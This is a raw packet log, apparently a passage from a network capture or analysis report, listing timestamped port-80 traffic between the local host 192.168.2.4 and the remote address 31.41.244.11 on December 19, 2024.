Dec 19, 2024 20:11:43.407063007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.407108068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.407937050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.407984018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.408710003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.408756018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.408780098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.408792973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.408826113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.409729958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.409775972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.409809113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.409854889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.410490990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.410749912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.410806894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.411417961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.411472082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.411546946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.411593914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.412308931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.412358046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.412627935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.412677050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.413220882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.413283110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.413347006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.413393021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.414105892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.414154053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.414438009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.414482117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.415091991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.415138960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.415196896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.415245056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.415956020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.416004896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.416043997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.416090965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.416770935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.416819096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.417233944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.417284012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.417797089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.417848110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.417857885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.417903900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.418677092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.418745041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.418797016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.419464111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.419512987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.419817924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.419872999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.420397997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.420445919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.420504093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.420550108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.421299934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.421348095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.421485901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.421533108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.422177076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.422236919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.422569036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.423115969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.423166990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.423249006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.423295975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.424030066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.424084902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.424901009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.424909115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.424956083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.425034046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.425811052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.425858974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.426342010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.426393986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.426724911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.426825047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.426882029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.427522898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.427577972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.427956104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.428006887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.428493023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.428543091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.428611040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.428657055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.429507971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.429560900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.429866076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.429918051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.430284977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.430335999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.431214094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.431225061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.431287050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.431493044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.431545973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.432054996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.432102919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.432300091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.432348967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.432928085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.432976007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.433017969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.433064938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.433808088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.433854103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.434114933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.434160948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.434681892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.434935093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.434984922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.435590029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.435640097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.436028957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.436074972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.436698914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.436748981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.436809063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.436853886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.437390089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.437438011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.437552929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.437601089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.438318014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.438366890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.438400030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.438446999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.439301014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.439327955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.439378023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.440094948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.440152884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.440431118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.440476894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.440994024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.441004992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.441042900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.441063881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.441855907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.442116976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.442166090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.442800045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.442950010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.443001032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.443725109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.443774939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.443979025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.444026947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.444631100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.444679022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.590625048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.590727091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.590836048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.591876984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.591890097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.591932058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.591964960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.593962908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.594325066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.594372988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.594854116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.595004082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.595024109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.595086098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.595175028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.595227957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.595931053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.595984936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.596304893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.596350908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.596716881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.596729040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.596762896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.596790075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.597589016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.597759962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.597811937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.598591089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.598772049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.598825932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.599273920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.599334002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.599716902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.599762917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.600191116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.600203991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.600215912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.600228071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.600244999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.600277901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.600717068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.600764036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.600826979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.600883961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.601663113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.601711988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.602143049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.602190971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.602577925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.602591991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.602639914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.603477955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.603543043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.603579044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.603626966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.604307890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.604357004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.604444981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.604501009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.605235100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.605391026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.605524063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.606132984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.606183052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.606419086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.606467009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.606967926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.607182026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.607234955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.607852936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.607913017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.608584881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.608635902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.608748913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.608795881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.609225035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.609272003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.609684944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.609731913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.609967947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.610018015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.610599995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.611093044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.611139059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.611617088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.611681938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.611711025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.611757994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.612349987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.612399101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.612463951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.612514019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.613239050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.613291025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.613348961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.613394976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.614244938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.614294052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.614495993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618340969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618359089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618392944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618392944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.618405104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618417978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618418932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.618431091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.618449926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.618479967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.619039059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.619086027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.619275093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.619338036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.620115042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.620163918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.620296955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.620340109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.620814085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.620862961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.620985985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.621028900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.621674061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.621736050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.621841908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.621942997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.622802973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.622972012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.623023987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.623527050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.623575926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.623744965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.623790979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.624511957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.624557972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.624676943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.624722958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.625395060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.625406981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.625438929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.625452995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.626573086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.626769066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.626825094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.627302885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.627350092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.627454996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.627502918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.628200054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.628247976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.628572941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.628622055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.628931999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.628979921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.629115105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.629163027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.629987001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.629997969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.630036116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.630829096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.631634951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.631694078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.631772041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.631784916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.631822109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.632600069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.632648945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.632949114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.632998943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.633472919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.633521080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.633641005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.633690119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.634357929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.634409904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.635210037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.635215998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.635271072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.635390997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.635436058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.636197090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.636245012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.636333942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.636378050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.636714935 CET	80	49842	31.41.244.11	192.168.2.4
